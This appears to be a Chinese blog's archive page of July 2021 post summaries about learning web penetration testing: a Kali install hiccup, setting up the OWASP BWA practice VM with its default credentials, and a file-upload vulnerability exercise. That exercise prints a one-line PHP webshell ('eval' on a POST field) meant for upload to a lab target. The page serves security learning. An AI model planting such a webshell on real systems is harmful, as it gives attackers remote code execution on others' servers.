2021年7月
kali 安装时 在界面化时卡住的原因是 需要cd/dvd 里选择官网下载的iso文件；甚至，只是因为你在蓝色界面化页面上，没有点击回车！！！我冤呀，这半天的光阴。。。。。
摘要： 阅读全文
posted @ 2021-07-16 19:03 胖豆芽 阅读(452) 评论(0) 推荐(0)
安全测试 实例 1 低级别文件上传漏洞 只针对不限制上传文件格式时使用；如果对格式进行了限制需要高级别，下一篇详细讲
摘要： 第一步： 编写恶意程序 test.php //一句话木马，在后台开启等待请求 pass字符串 开启webshell // 内容： <?php @ eval ($_POST['pass']);?> 文件放在桌面上，待会将它上传 第二步，2.1在靶机上上传文件，获得红色的一个url地址 2.2像图片中操 阅读全文
posted @ 2021-07-16 18:21 胖豆芽 阅读(97) 评论(0) 推荐(0)
为学习web安全渗透搭建环境
摘要： 1.虚拟机VMware ctrl+alt 退出虚拟机 回到主屏幕 2.靶机 一个linux 系统里面有很多有漏洞的程序 下载地址 https://sourceforge.net/projects/owaspbwa/files/1.2 备注1.7G 需要下载很久 它的登录名 root 密码 owasp 阅读全文
posted @ 2021-07-16 15:39 胖豆芽 阅读(107) 评论(0) 推荐(0)
web渗透安全原理图
摘要： 阅读全文
posted @ 2021-07-16 12:45 胖豆芽 阅读(64) 评论(0) 推荐(0)